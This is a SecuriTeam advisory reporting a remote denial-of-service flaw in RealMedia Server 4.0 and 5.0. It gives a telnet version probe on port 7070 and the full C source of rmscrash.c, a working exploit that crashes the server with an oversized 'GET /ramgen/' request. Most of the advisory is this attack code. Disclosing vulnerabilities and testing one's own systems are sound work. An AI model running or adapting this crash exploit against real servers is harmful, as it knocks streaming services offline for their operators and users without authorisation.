SecuriTeam - RealMedia server vulnerable to remote DoS attack (ramgen)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

RealMedia is an audio streaming server by RealNetwork. This product contains a security vulnerability that enables remote attackers to perform a Denial of Service attack against the Administration service causing the entire server to go down.

Credit:
The information was provided by: bow.

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Vulnerable systems:
RealMedia Server 5.0
RealMedia Server 4.0

Immune systems:
RealMedia Server 6.0

An easy way to tell if a server is running version 5.0 is to telnet to the realmedia port, usually 7070, and type:

GET /SmpDsBhgRl

You will receive either "Server: RealServer 1.0 Beta" which indicts RealMedia 5.0, or "Server: RMServer 1.0" which RealServer G2 (6.0, and 7.0) return.

Exploit:
The following exploit code can be used to test your system for the mentioned vulnerability:
-- START OF RMSCRASH.C --

/*
* rmscrash.c - bow@bow.net
*
* Crash a RealMedia 5.0 server by sending a very long ramgen request.
*
* Test on:
*      $ pnserver -v
*      Version:     5.0-rvserver-build-290
*      Platform: FreeBSD-2.1.x
*
*/

#include     <stdio.h>
#include     <stdlib.h>
#include     <sys/time.h>
#include     <sys/types.h>
#include     <unistd.h>

#include     <sys/socket.h>
#include     <netinet/in.h>
#include     <netdb.h>

#define BUFLEN 4082

char   buf[BUFLEN+14];
int   sock;
struct sockaddr_in sa;
struct hostent *hp;

void main (int argc, char *argv[]) {
     int i, port;

     if (argc < 3) {
           printf("Usage: %s realserver port\n",argv[0]);
           exit(-1);
     }

     port = atoi(argv[2]);

     memset(buf,0x41,BUFLEN);
     memcpy(buf,"GET /ramgen/",12);
     memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);

     if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
           perror("gethostbyname()");
           exit(0);
     }

     if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
           perror("socket()");
           exit(0);
     }
     sa.sin_family=AF_INET;
     sa.sin_port=htons(port);
     memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
           perror("connect()");
           exit(0);
     }

     printf("Connected to %s. Sending data\n",argv[1]);
     write(sock,buf,strlen(buf));
     printf("Done.\n");

     close(sock);
     exit(0);
}

--- END OF RMSCRASH.C ---

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